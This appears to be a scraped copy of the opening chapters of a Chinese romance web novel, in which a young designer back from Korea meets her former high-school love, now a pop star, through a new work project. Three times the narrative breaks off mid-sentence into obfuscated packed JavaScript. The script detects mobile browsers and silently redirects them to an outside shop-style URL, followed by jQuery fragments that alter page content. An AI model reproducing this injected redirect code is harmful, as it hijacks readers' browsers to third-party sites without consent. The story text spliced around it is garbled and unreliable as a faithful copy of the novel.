《零分蓄谋[破镜重圆]》
1. 第 1 章
【提子,你这次回国还走吗?】
瓢泼大雨不歇,不间断的雨珠在玻璃窗上织出一张严丝合缝的网。
云缇夹着刚打印出来的一叠设计稿,步履匆匆地回到自己的工位,将其按序放进文件夹里,在每个需要检查的地方做好标记。
整理完材料,她摁亮手机屏幕准备向组长汇报,恰好看见闺蜜几分钟前发来的消息。
她回:【不走了。】
在韩国呆了七年,云缇还是不习惯那边的气候和饮食,面对完全不同的文化背景和生活环境也没有一丝一毫归属感。
直到半个月前她重新踏回这片养育她成人的故土,才找回那份踏实感。
云缇指尖轻轻划过桌上纸质资料上印有的公司名。
眼下这份工作也是她慎重对比后选择的,FG是业内数一数二的设计公司,在娱乐影视宣传设计这一块的成绩尤其出彩,她可以在这里学到很多东西。
【那太好了!等你有空,咱们一定要聚一聚啊。上次回三中你不在,老班一直在念叨你,说我们那一届她最看好的就是你。】
云缇嘴角向上提了提,轻快打字:【以后有的是时间见面了,我们下次一起回三中。】
闺蜜飞快地弹来好多消息。
【哎,你不知道我看到这句话有多安心!】
【自从高中毕业后,咱们班的人就七零八落,很难凑得齐,同学聚会的人也一次比一次少。】
【好多人的消息都只能靠口口相传知晓,就比如咱们学校那位大明星,你回国之后肯定看见过吧?大街小巷都是他的海报。】
与此同时,对面工位的同事正压低声音和邻桌说话,恰巧被云缇听了个正着:
“下个月二十三号我不在,资料我都整理好了,到时候你帮我交接一下。”
“怎么,你抢到票了?”
“对啊,季煦礼的演唱会太紧俏了,我找了好多代抢才抢到票。”
“你也是厉害,我闺女也想去看,一直抢不到票。”
“季煦礼的票还是找代抢吧,自己抢太难了。”
云缇听得有些出神,手机的震动将她的思绪拉回来。
【不过话说回来,要是当年你没出国,说不准都和季煦礼变成咱们学校模范情侣了吧……(已撤回)】
【当我没说!失言失言。】
手指悬停在手机屏幕上方,许久没有挪开。
那个封存在记忆角落数年的名字就这样猝不及防出现在眼前。
云缇木着脸掀起眼皮,扫视了一圈四周。
蜂巢般的格子间将整层楼切割开,对面的两人已经安静下来,泛着冷光的电脑光照亮了无数张疲倦的面孔,除了偶尔的咳嗽和叹息,便只剩键盘的敲击声。
整层楼弥漫着无声却又振聋发聩的忙碌。
没有人注意到她的小动作。
雨势渐大,雨珠敲打着玻璃窗的力度越来越重,清脆而有节奏。云缇不自觉蜷了蜷手指,良久,才若无其事地退出了聊天框。
“小云和谁聊天呢,这么专心?”
刚摁灭手机屏幕,邻桌的同事就探身过来小声搭话。
“怎么了?”闻言,云缇下意识将手机反扣在桌上。
“没事,我就是觉得你倒霉,入职没多久就遇上这么困难的工作……”同事还想说什么,又眼尖地瞧见走过来的组长,立刻噤声,缩了回去。
组长面无表情地扫了她们一眼,警告地敲了敲桌子,冷声道:“云缇、宁喜,我已经把设计方案发给你们了,再检查一下有没有遗漏,没问题就拷贝进U盘里,一会儿跟我一起去快注。”
云缇立即应好。
组长雷厉风行,吩咐完便风风火火离开了。她前脚刚走,同事宁喜再次凑过来,亲热地说:“小云,你从国外回来英语比我好,英语相关的材料就全部交给你呗?我怕我出错。”
她们组长是出了名的严格,要是出了什么问题,负责这部分材料的人首当其冲要倒霉。
云缇很淡地笑了下,温柔地慢声拒绝:“组长这么安排肯定有她的道理,我们就按照原先计划的来吧。”
她生得白,一副弯眉杏眼,轮廓线条圆润流畅,弯唇笑时颊侧软肉会微微鼓起,唇角两边陷下小小的梨涡,看上去毫无攻击性,像摔进汽水里的梅子,清爽甘甜。
宁喜吃定了云缇刚入职胆子小,压根没想过她会拒绝,在对上她那双又圆又亮的眼睛时呆了一两秒,才后知后觉意识到自己的算盘落空,不大高兴地瘪瘪嘴,低声嘟囔了句什么,一屁股坐回了自己的位置。
见宁喜不再搭话,云缇嘴角的弧度也隐下去,她收回视线,继续检查手中的设计稿。
她想长期在FG工作,不想和同事之间关系闹得太僵。
但这也不代表她会当软柿子被人拿捏。
没过多久,组长又来了一趟,眉宇间隐隐有些不耐,催促地问:“好了没?准备出发了。”
“好了好了,李组长。”宁喜恰好在这时小跑着从打印室回来,手里拿着一大材料。她动作自然地靠近云缇,埋怨地撒娇,“还是小云效率高啊,喝过洋墨水就是和我这种没出过省的不一样,干什么效率都高。”
这话让云缇忍不住蹙了蹙眉,正要说点什么,就瞧见组长已经不耐烦地先行转身朝电梯走去,她只好把话咽回肚子里,拿上资料跟了上去。
“小云,我这儿还有点英语材料不太确定,就几张,待会回去你帮我看看,应该不介意吧?”
云缇瞥了她一眼,笑着往旁挪了一步,拉开和她的距离:“宁姐,我介意呀,你看看其他人愿不愿意帮你吧。”
“切,干嘛那么小气。”宁喜垮下脸,加快脚步甩开她,跟着组长朝车库走。
十月的南榆渐渐转凉,淅淅沥沥的雨幕中,看不清面孔的人们来去匆匆,皆换上了厚重的大衣。
组长一边开车,一边语速飞快地和她们讲一会儿的注意事项。在经过某个分岔路口时,她恰好瞥见一旁大厦的大屏广告,顺嘴道:
“看看右边大厦,我们和快注是长期合作对象,手上这单结束后,下一单就是给季煦礼设计下一张专辑的封面,知道这个任务的重要性吗?”
云缇本在专心记录每一条注意事项,听见这话,条件反射地抬头,大屏广告上那张熟悉的面孔冷不防印入眼帘。
巨型LED屏幕几乎占据整座大厦外壁,冰冷的钢架托起那张充满攻击性的俊脸,找不出任何瑕疵的完美五官被放大,仿佛穿透电子屏幕俯视众生,居高临下,直击人心。
他一手插兜,身上穿着毫无褶皱、剪裁合身的高定西装,扣子漫不经心地解开,一直开叉到腹部,甚至能隐隐看见身侧的鲨鱼肌,小麦色的皮肤和璀璨闪耀的钻石项链相碰撞,视觉冲突极强。
天生的时尚宠儿,将奢侈品代言演绎成一场酣畅淋漓的视觉盛宴。
那双桃花眼微微上挑,在精心设计的打光下,瞳孔深处有细碎的亮光闪烁,透过镜头凝视前方,仿佛隔着时空与屏幕前的人对视。
眼下两颗标志性的小痣平行竖排,招摇又特别。
一如既往的肆意张扬。
大厦下挤满了人,许多年轻女孩拿着应援牌在拍照打卡,还有不少路人为他驻足。
“出道一年就成为顶奢品牌亚太区品牌大使,三年就成为了亚太区品牌代言人。”组长对后排的情况浑然不觉,继续说道,“给他设计专辑封面,做好了,那他以后就会成为我们的活招牌,我们公司的评价只会更上一层楼。”
“不是有小道消息说,季煦礼本来就是富家少爷吗?要是不唱歌就得回家继承家产了。”宁喜兴致勃勃地八卦。
组长不耐烦地打断:“这些不重要,我们该了解的是他的创作理念和过往作品。只有知己知彼,才知道怎么为他设计。”
云缇没有接话,沉默地遥望
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17489038|202144||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
LED屏幕。
许是看的时间有些久,一旁的宁喜戏谑道:“怎么,海归的高材生也看傻了?还以为你们见过世面,不会被明星轻易迷倒呢。”
云缇顿了顿,撤回视线,半晌才轻声开口:“我不追星。”
“……”宁喜往车门靠了靠,和她拉开距离,翻了个白眼,小声吐槽,“装什么装。”
声音虽小,却能准确地被她捕捉到。
云缇没有同宁喜呛声,只低头补全了刚才没写完的笔记,思维却远不如先前专注。
她当然知道季煦礼。
新一代歌王,凡是出歌必然霸榜,街头巷尾、男女老少,没有不知道他的。
但,云缇并不是因此了解到他。
冷意顺着车窗钻进来,深入骨髓,席卷全身。
她摇上车窗,倾吐一口浊气,垂眸盯着自己握笔的手,冷不丁想起曾经季煦礼握住指尖的温热触感。
倒也没什么区别。
十七岁的季煦礼同样耀眼。
只是短暂地,在她指尖停了片刻。
///
抵达快注后,她们同前台说明了预约,便乘上了电梯,直奔此次联系的经纪人的办公室。
双方都是老熟人,接洽非常顺利,敲定了设计方案后,这次合作的负责人还主动提出带她们去艺人那儿看看。
“你们看看小南录歌,说不定能给这次创作带来点儿灵感。”
她们小组这次主要负责的是宣传活动的海报设计,在场三人唯一一个专业对口的就是云缇。
组长充满暗示意味地看了她一眼,随后爽快地应下负责人的邀请:“那我们真是一饱眼福了。”
云缇跟在后面,看明白组长的意思,默默点了下头。宁喜在一旁目睹一切,不爽地翻了个白眼。
负责人手下的这位歌手是个二十出头的年轻人,见人就笑,完全没有明星的架子,很好相处,甚至还好脾气地邀请她们去试试录音设备。
宁喜兴趣很浓,二话不说上前试了试,还主动要了个签名照,一溜烟的马屁拍出去,哄得负责人眉开眼笑。
录音室内其乐融融。
歌手小南知道这次海报是云缇主创之后,还特地和她聊了聊自己的创作理念。云缇听得认真,一一记了下来,打算带回去研究怎么在海报里体现出来。
“其实我之前一直没找准自己的方向,还多亏了季前辈。”说着说着,小南情不自禁感慨道,“他指点了我几句,有点像修炼的人被前辈打通任督二脉,我一下子就找到灵感了。”
云缇缓慢地眨了下眼睛,重复:“季前辈?”
“对,就是季煦礼前辈。”小南笑了下,“他对我们这些晚辈一点儿架子也没有,平时还会来听我们录歌。今天不凑巧,他有点忙,不然你们还能碰见他。”
她抿了抿唇,合上笔记本,有些别扭地吹捧:“也不遗憾,能听到你唱歌已经很满足了。”
“哪里哪里。”
组长心情也很好,她见好就收,开始客气地和负责人说结束语:“今天真是麻烦你了,我们回去就开始设计,最迟这周日把初稿发给你……”
就在这时,录音室的门冷不防再次被打开。
组长和负责人的寒暄戛然而止。
云缇飞快朝门外扫了一眼,却没能迅速收回目光。
她脑子里猛地跳出了几个字。
是不太凑巧。
即便对方只露出一双眼睛,但她还是一眼就认出,是那双才在LED屏幕上见过的桃花眼。
男人身材挺拔,即便戴着黑色口罩,也能从利落流畅的轮廓窥见他的好皮囊,只是懒散往那儿一站就无比扎眼,存在感极高。
他大抵是来找人的,一进门就朝负责人所在的位置走,却在中途倏地停住脚步,似有所感,朝云缇所在的方向望过来。
四目相对的瞬间,
他轻轻挑了下眉。
2. 第 2 章
直到回到车上,云缇仍有些出神。
她捏着手中早已滚瓜烂熟的资料,视线却有些虚无,没有落在任何一个确切的字上。
耳边是宁喜激动的碎碎念。
“真没想到啊,季煦礼本人比镜头里还帅,怪不得有粉丝说他不上镜。”
狭小的空间内没人接话,安静得有些尴尬。
宁喜觑了眼组长的脸色,后知后觉意识到这儿没有能和她一起八卦的人,赶紧又补了一句,为自己争取机会:
“要是能跟进音乐天才的项目,肯定能学到不少东西。组长,季煦礼这个项目,也让我跟着观摩学习吧?”
组长似笑非笑:“那要看你之后工作表现了。”
“组长放心,我绝对拼命!”宁喜笑嘻嘻地保证,瞥了眼一旁始终不吭声的云缇,自来熟地贴近,探头看她手里的资料,打趣道,“看看我们小云多努力,这会儿还在看资料呢,看来这次的项目很有信心啊。”
云缇闻言,神情一顿,抿出一抹笑:“我哪有宁姐熟悉甲方情况,当然要加倍努力才行,这次的项目还得多多请教。”
她有些反感同事间若有若无的打探和软刺,把手中资料抱得高了些,隔开宁喜的视线。
组长从后视镜里审视地扫她一眼,没说话。
车窗没关严,有喧哗声闯进来,云缇下意识抬眼朝外望。
又一次经过那个分岔路,季煦礼的大屏广告映入眼帘。
LED屏幕下方,围着打卡的年轻女生不减反增。
方才还近在咫尺的人,现在又变得遥远。
大屏幕上,年轻男人仍保持着略显傲慢的姿态。
云缇隔着玻璃,跨越七年时光望着他,缓慢地眨了下眼睫,刚才的场景还历历在目。
不算明亮的录音室内,季煦礼拉下口罩,散漫地回应组长的寒暄,而她站在一旁,始终只能看见他线条利落的侧脸。
两人再也没有对上过视线。
方才季煦礼推门进来的瞬间看向她的那一眼,轻得像水,一点痕迹也没留下。
让她不禁怀疑。
那一眼是不是她在连续熬夜之后出现的幻觉。
///
FG虽然没有明确的加班要求,但是每每到了下班时间,组长总会来工位上巡一圈,再象征性地夸一夸大家的积极性,逼得人不得不留下来再干一会儿。
云缇回家也没别的安排,干脆留下来画稿子。
旁边工位的宁喜突然窸窸窣窣收拾起东西来,焦急地说:“小云,我吃坏东西了,一会儿要是组长找我,你帮我说说。”
她应了一声,余光瞄到宁喜把自己的包放在了桌面最显眼的位置。
没过多久,组长就气势汹汹踩着高跟鞋走过来,拍了下她的桌子,“宁喜呢?”
“在厕所。”
“那你去快注跑一趟吧,我刚联系过了,对接的负责人在办公室等你,你去拿一下新的设计要求。”组长说完,突然注意到她电脑界面,接着说,“现在这个先别画了,肯定得改。”
云缇看着进行到一半的初稿,没脾气地点头说好。
在韩国的时候她已经习惯了,甲方总会突发奇想修改要求,设计师只能顺从,稿子推翻重来都是家常便饭。
她不敢耽搁,立刻打车去了快注。
先前说好本周日前交初稿,截稿日期并不会因为修改要求而延后,只能争分夺秒抢时间。
出租车司机知道她急,一脚油门踩到底,坐在后座的推背感强烈,许久不体验南榆的飙车技术,她略感不适应地抓紧安全带。
手机屏幕突然亮起。
【云云,什么时候回家?还想任性到什么时候,爸爸够纵容你了。】
云缇唇角的弧度放平。
心情忽然有些糟糕。
她面无表情地回复:
【那不是我的家。】
隧道突然张嘴吞掉小轿车,视线倏地黑下来,灯光在头顶一格一格地闪,仪表盘悠悠地亮着,显示着所有确切的数字。
穿出隧道,轿车一个急刹,停在快注所在的这栋写字楼前。楼顶红色的航空灯一明一灭,过快的急停搅得云缇胃里翻江倒海,头也晕得厉害。
司机注意到她的异样,笑着道:“姑娘是外地人吧?抱歉抱歉,早知道我慢点儿开了。”
云缇摇摇头,付了钱,做了好几次深呼吸才缓过劲儿来。
没停留太久,她马不停蹄登上电梯,在前台登记过名字后,就去负责人的办公室敲门。
没有回应。
她耐心地等了一会儿,又敲了第二次门。
门内还是没有回应。
却有声音从身后传来。
“他早就走了。”
云缇一愣,回眸看去。
一个陌生男人站在几步外,眼神中透出几分探究和好奇。
快注显然没有严重的加班文化,白天那种满溢的快节奏在此刻慢下来。偶尔路过几名准备下班的员工脚步都轻快了不少,瞧见他们站在这儿,礼貌地点了点头。
面前这男人看上去也是路过。
云缇对人的喜恶很敏感,此刻感知到这个男人没有恶意,便主动递上名片,追问:“你好,我是FG的设计师,姓云。请问你有没有吴哥的联系方式?我是来沟通设计要求的。”
吴哥就是这次对接的负责人。
男人显得有些踌躇,没有立刻回答她,只是看看名片,又扭头看看另一个方向。
她顺着他目光的方向看过去。
是空无一人的安全通道。
云缇不明所以,心中焦急,抬腕看了眼时间,暗道就算吴哥走了,她也得想办法给组长交差。
她深吸一口气,正准备再说点什么,就见男人迅速将名片揣进兜里,晃了晃手中正不停闪烁的手机,示意一会儿再说。
来电显示一晃而过,似是“x哥”二字。
“……”
云缇目送男人走向安全通道,迅速收回目光,朝反方向走。
鞋跟踏在瓷砖上,在寂静的走廊里发出清脆的声响。
整层楼公共区域大概是固定时间断电,不远处的办公区已经齐刷刷暗下来。
只剩这条走廊还亮着灯。
眼看男人不愿意帮忙,她只好去别处碰碰运气,看能不能要到吴哥的联系方式,实在不行再问问宁喜或是组长。
高跟鞋磨得后跟酸痛,涩意顺着跟腱往上窜,小腿肚也涨得厉害。
偌大的办公楼,她再没碰到第二个人。
云缇停下脚步,一手撑住前台桌面,稍稍借力,让自己轻松些,一手拿出手机,给闺蜜林从菡拨了个电话过去。
“提子,怎么了?”
她简单和对方说了下自己的情况,问,“小菡,你有没有朋友能联系上快注的吴哥?”
闺蜜这些年一直在南榆,人脉比她广。
林从菡想了想,没有立刻回答,“我认识几个快注的朋友,但不一定和吴哥熟,你等等啊,我先帮你问问,一会打给你。”
“好,下次请你吃饭。”
“和我客气什么。”林从菡挂断电话前,忍不住吐槽,“你们组长也真是,合作这么久还不知道快注的习惯吗?让你现在来拿什么资料!”
“……”云缇垂眼,表情隐在阴影中,看不真切,“下马威吧,没关系。”
“你等着,我势必不能让你们组长得逞,今天我怎么都要帮你要来这人的联系方式。”
闻言,云缇忍不住弯起嘴角:“那就全靠你啦。”
和亲近的人讲话,她声线不自觉软下来,简单的字句仿佛在舌尖多滚
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17489039|202144||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了半圈,咬字变得又轻又糯,语速也慢下来。
像浸透了阳光的棉花,带着一点黏糊糊的尾音。
办公楼里空荡荡,她说话刻意压低了声音,却还是传了很远。
云缇站在原地耐心等了会儿,林从菡给她发来消息。
【吴哥131xxxx7428。】
【提子,我问了好几个人,说工作联系方式有是有,但吴哥非工作时间从来不接电话。但我还是要来了,你先试试?】
【我再想想法子能不能要到他私人联系方式。】
她赶紧表示感谢,迅速播了好几通电话过去。
全是忙线。
早就有了心理准备,倒也没那么失望。
看到组长发来的催促信息,她吐出一口气,平静地接受被责骂一顿的结局,开始慢慢打字和组长汇报结果。
【组长,吴哥下班了,联系不上,我问过员工,也打了电话……】
窗外似乎又在下雨,隐约能听见雨滴拍打窗户的声音,淅淅沥沥。
来快注时天已经放晴,她没有带伞。
……还得淋场雨。
云缇手指悬在屏幕上方,侧目看向不远处的窗户,无声地叹息。
反倒因为这场雨有些低落。
从小到大,她一直很排斥淋雨。
因为每次淋雨她一定会感冒,而一旦感冒,又需要很长的时间才能痊愈。
她活动了下脚踝,准备赶紧下楼打车。
又有脚步声递到耳边。
云缇抬头看去。
是刚才那个男人。
他脚步匆匆,直到看见她才松了口气,远远地大声道:“云小姐,我刚和吴哥联系了,他把资料传真到办公室,你来拿一下吧。”
云缇一怔。
压抑的情绪散开。
她迅速反应过来,连忙道谢:“谢谢你!你方便留一张名片给我吗?日后要是有什么需要,我一定尽全力帮忙。”
“没事儿,举手之劳。”男人不在意地拜拜手,“也不早了,你拿了就赶紧回去吧,咱都是打工的,知道不容易。”
云缇不想欠人情,再三坚持。
“好吧,那方便的话……咱们再加个微信吧?”男人眼珠子一转,提议道,“你叫我小张就行,以后要真有什么事儿需要你帮忙,我就给你发信息。”
云缇答应下来。
拿上资料,她心头安定了不少,正准备离开,又被对方叫住。
小张看了看手机,有点儿不好意思,像是念台词般,飞快地说:“云小姐,外面在下雨,你拿把伞走吧?反正长期合作,你下次还回来就行。”
实在不想淋雨,她也没推脱,只再次诚恳地表示感谢。
“真不用客气,多大点儿事……”
一直到电梯下行,确定云缇已经离开,小张才返回安全通道,朝里喊了声:
“煦哥,人走了。”
安全通道的声控灯乍然亮起。
狭小逼仄的空间被一览无余。
雨丝斜打在窗户玻璃上,蜿蜒成无数道细小的痕迹。年轻男人立在窗前,夜色将他削成一道薄薄的剪影。
手机冷白的屏幕光跳上他的眉骨,他耷着眼皮,长睫在眼下垂下一层不规则阴翳。
态度冷淡又疏离,没有任何多余的动作,却给人以压迫感。
听见声音后,他也只是懒懒地抬了下眼皮,摘下有线耳机。
视线却依旧落在手机屏幕上。
周遭静得过分。
指腹无意识地捻了捻晃动的耳机线,卸了力。
有线耳机砸在地上。
很轻的一声,被窗外的雨吞掉大半。
白色的细线在地板上弯弯曲曲散开,末端空荡荡。
——从头到尾,它都没有插线。
3. 第 3 章
下雨天不好打车。
云缇撑伞站在马路边,久等不见出租车,索性打了辆网约车,平台显示司机还需四分钟抵达。
雨滴慢慢濡湿裤脚。
裸露在外的脚背也冰凉一片。
她握紧伞柄,目光聚焦在透明的伞面。
伞面边缘已经积攒了一圈细碎的水珠,在路灯下泛出微弱橘光,连水雾也染成昏黄一片。
有车驶过,溅起薄薄的水花。
云缇往后退了一小步,鞋跟磕在凸起的地砖上,发出很轻的一声,被雨声掩盖。
她低头又看了看手机。
还有两分钟。
退出网约车平台,目光落在某个聊天框的最新消息。
手指不自觉点进去。
因为她那句“那不是我的家”,对方像是一下子被戳中命脉,恼羞成怒地发来无数指责和抱怨,最后态度又软和下来,用不容置喙的态度通知究竟何时会来接她。
像是一盆冷水浇下来。
比今夜的雨还要凉。
云缇心烦意乱地熄屏。
就在那一瞬间,她感应到什么似的,顺着车灯的方向抬眼。
伞沿的水珠正好滑落一滴,隔着那层透明的水帘,隔着十几米的距离,她的视线穿过半敞的车窗,落在后座那个人脸上。
在密密匝匝的雨中,云缇看见那人低着头。
起初看不清五官,她没认出是谁。
然后那人很快抬起头,朝窗外看来——
她没动,伞柄握得很稳。
——季煦礼看的不是她,是另一侧的街。
年轻男人侧脸的线条被水汽洇湿,灯影水光顺着眉骨一直淌到鼻尖,最后留恋地停在唇边,明灭一闪。
他抿着唇,嘴角微微向下,冷淡的弧度。
始终没有回头。
那辆车缓缓往前滑,很快从她面前经过,融入雨幕中。
只剩车尾两团模糊的红。
雨还在下,细细密密。
落在车顶,落在伞面。
冷风灌进袖口,寒意得寸进尺往里钻,云缇才后知后觉听见一旁车辆的鸣笛声。
网约车来了。
///
这一来一回折腾太久,此刻连FG都不剩几个人了。
几十个工位横平竖直地排列,转椅都推得整整齐齐,椅背在应急灯的光晕里投下细长的影子。
安全出口的绿色指示牌一闪一闪。
云缇没敢耽搁,立刻去组长办公室上交材料资料。
组长不在。
她也不意外,把资料放在组长桌上,拍过照后,给对方拨去电话。
得知她成功拿到了资料,组长在电话那头微妙地停顿了一瞬。
“云缇,你知道我为什么会点头破例招你进来吗?”
云缇沉默,安静等待。
“不是因为卓总,而是你曾经在韩国第一娱乐公司的工作经历。”组长也没指望她接话,继续道,“想必卓总也和你提过,我们公司成立这个部门就是为造星铺路。你以前的经历对我们部门来说非常宝贵。”
“但你不要以为,这就是你的免死金牌。”组长话锋一转,语气加重,“我们严格遵循末位淘汰制,如果你这个月考核不合格,必须走人,不要松懈。”
“今天这事儿,老实说,我比较失望。走后门这种事,一次就够了,我不希望还有下一次。我个人只在乎手下员工的真才实干,而不是小聪明。”
“……”
云缇闭了闭眼,压下反驳的冲动,说了声“知道”便快速挂断电话。
情绪还没来得及躁动,又一通电话打进来。
看清来电人后,她神色稍缓,温声道:“小菡。”
“提子,怎么样了!我看你刚才一直没回消息,应该是在忙,到现在才敢给你打电话。”
“事儿解决了,遇到个好心人。”
“那就好,我还在内疚没帮你要到私人联系方式呢,这么说你们组长不就吃瘪了?她什么表情?”
“组长早回去了。”云缇停了停,“她让我别再耍小聪明。”
“你们组长神经病吧?”林从菡脾气一点就爆,连着骂了一长串脏话,“这叫耍小聪明?有你这么勤快的员工她知足吧,我祝这公司早日倒闭!”
听她骂了半天,云缇心情也松快了不少,笑着往外走,无意中瞥见宁喜的包还放在桌面最显眼的位置。
整个办公区空无一人。
“说真的,提子,顶头上司这么打压你,你不打算跳槽吗?”
“跳槽太快,下家公司容易有顾虑,不好找工作。”更何况,因为竞业协议,她现在也走不掉。但其中隐情复杂,云缇不愿多说。
电梯间的风吹过来,带着些许空洞的回响。
她无端想起刚才飘进袖口的雨。
走廊尽头黑漆漆,云缇慢慢走,在电梯前站定。
“我今天碰见季煦礼了。”
“真的假的?!我今早才提过,你就碰到他了啊,那我真该去刮张彩票。”
被这么一打岔,云缇嘴角弧度扩大。
“提子你快说说,你们今天发生了什么?”
电梯到了,她抬脚走进去。
“我没和他说上话,估计他压根就不记得我了吧。”
“云缇,要不是毕业典礼那天我正好看见你俩站一起,你真能把我糊弄过去。”林从菡一字一句地说,“高中瞒着我就算了,你现在别再来这套。”
“……真没有。”云缇听见听筒里有刺啦的电流声,“电梯里信号不好,我先挂了。”
望着电梯门上模糊的倒影,她握着手机的手指蜷了蜷。
她是真心实意这么认为。
毕竟已经过去了这么多年。
时间是太残忍的东西。
现在只留有两种可能。
要么季煦礼就是不记得她,要么就是有意避着她。
无论哪种,都说明他不想再和她扯上关系。
那她也不必在意今天的事。
云缇垂眸,望着自己鞋尖。
更没什么好说的。
///
接下来的一周内,组长没有再刻意为难过她,宁喜时不时的探听和酸话也被她一一挡了回去。
工作时间忙碌又平静地过。
海报交稿也非常顺利,吴哥对成品赞不绝口。
见甲方满意,云缇也松了口气。
算是为她回国后第一份设计敲了个完美的句号。
周一的早会上,他们组排在最后,依例总结上周工作,由宁喜发言。
组长听完点点头,开始分配下次的项目组:“下周开始,重心在季煦礼这个项目,我根据你们的工作完成情况,各组分别挑一人参与——A组宁喜,B组……”
“……”
云缇坐在座位上看着组长,听见名单,蓦地侧目看向宁喜。
“哪里哪里。”宁喜喜上眉梢,正笑眯眯地接受邻座同事的道喜,察觉到云缇的目光,她扭头看过来,笑意扩大,“怎么了小云?”
“没什么,恭喜你。”云缇轻轻地说,“好好干,别搞砸了。”
宁喜笑容收敛,“你什么意思?”
不等她发作,一直沉默不语的总监就发话了:“成,没什么问题。那今天就到这儿,忙去吧。”
众人纷纷离开会议室,组长叫了声宁喜的名字,示意她跟过去。她只得作罢,狠狠剜了云缇一眼。
云缇神色淡淡,仿若无事发生,回到工位,整理了一份项目复盘文档,在公司内部邮箱里选择收件人,点击发送。
每一个学设计的都知道项目质量的重要性,这是设计师的招牌,能往上走,谁会拒绝?
如果是能力不足,她不会有异议。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17489040|202144||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
如果不是,她当然要为自己争一争。
宁喜也慢悠悠回到工位,扫了眼她的电脑屏幕,正好看见打开的设计文档,嗤笑一声,压低音量,亲切道:“小云,我知道你没选上不甘心,但是人呐,该对自己的水平认知清楚,有时候洋墨水也不是□□。”
“宁姐,也不是每个人都像你这么爱比较。”云缇仰脸朝她笑了下,“我只是担心,你下班总忘记把包带走,当心丢失文件。”
宁喜沉默地盯了她几秒,又笑得更灿烂了。
“瞧你这话说的,我知道小云人好,肯定会帮我好好看着的。要是丢了东西,也知道是谁。”
云缇不接话。
宁喜自讨没趣,哼了一声,回过身去对着电脑。
之后一周,宁喜隔三差五往快注跑,把跑腿的事儿都揽了下来,变得相当勤快,还没忘记把包拎上。
今天也是,午休一过就拎包走人,本以为她不会再回来,没想到又卡着下班的点出现,在大家面前喜气洋洋地炫耀有关季煦礼的事儿。
“今天我去快注,正好碰见季煦礼在录歌,他人还真不错,给工作人员都点了杯奶茶。”说着,她还晃了晃手里的奶茶,像是在回忆,还羞涩地低下头去。
有几个季煦礼的粉丝围过来,羡慕道:“怎么样,真人是不是特别帅?”
宁喜肯定点头:“是!比大屏幕上还要帅。”
有人捧场,她来了兴致,又唾沫横飞地说了不少今天遇见季煦礼的细节,引得那几个粉丝嫉妒地哀嚎。
云缇戴上耳机,打开降噪模式,平静地继续敲击键盘。
手机屏幕亮起。
是林从菡发来的消息。
【提子,我们今天下午回三中看老师,说好了啊,你必须得来!】
【你什么时候能下班,我要不要来接你?】
她拿起手机,回消息:【现在就能走。】
林从菡秒回:【你们组长不会又给你穿小鞋吧?】
云缇:【也不差这一次。】
林从菡:【可以啊提子,支棱起来了。等着,马上来接你。】
云缇回了个OK的手势,而后推开椅子站起来,腰部的酸胀忽然变得格外清晰,像一根迟钝的针在脊椎两侧缓慢碾过。她下意识把手按在后腰揉了揉。
走廊的空调比工作区域更冷。
茶水区有人在低声交谈,听见脚步声便停了。
她点点头算是打过招呼,径直走向饮水机,阳光正好打在半边身子上,暖洋洋的。
热水键按下,水流冲击杯壁的声音单调而持续。
趁着这个时间,云缇刷了会儿朋友圈。
映入眼帘第一条是小张半小时前发的,分享了张自拍照。
【今天提前收工![胜利]】
她觉得背景有点儿熟悉,点开照片,目光随意一扫,停在某个角落。
纸杯渐渐变得烫手。
这是南榆三中的操场。
在小张背后,季煦礼有半个身子入镜。
他站在绛红色的跑道上,穿着件笔挺的深灰色衬衫,面料垂顺,哑光质感,袖子随意卷到手肘处,露出线条流畅紧实的小臂。腕表表盘在光里闪了下,反出幽蓝的镀膜亮色。
大概是在拍摄广告。
背景还有许多朝气蓬勃的少年,正推搡着朝这个方向看。
年轻男人侧身站着,只露出小版张侧脸,喉结突出,有一滴汗正沿着颈侧往下滑,没入衣领边缘。他视线落在镜头外某处,眉头轻蹙,嘴唇抿成一条薄线。
整个人完美得像是从某本杂志内页裁下来,不小心落在了别人朋友圈里。
目光在那张脸上停留了三秒。
云缇退出图片,若无其事往下滑了一屏。
水已经放凉。
她将其一饮而尽。
随后把纸杯捏扁,丢进垃圾桶。
4. 第 4 章
不过十来分钟,林从菡就抵达办公楼楼下。
云缇收到消息,直接从茶水间拐去了电梯,顺便把手机调成勿扰模式。
免得待会儿再被办公电话打搅。
“久等啦久等啦!”
一上车,林从菡就递来一杯奶茶,无比振奋地说,“我没和瞿姐说你会回去,到时候看看她是什么反应。”
瞿荷珠是她们高中三年的班主任。
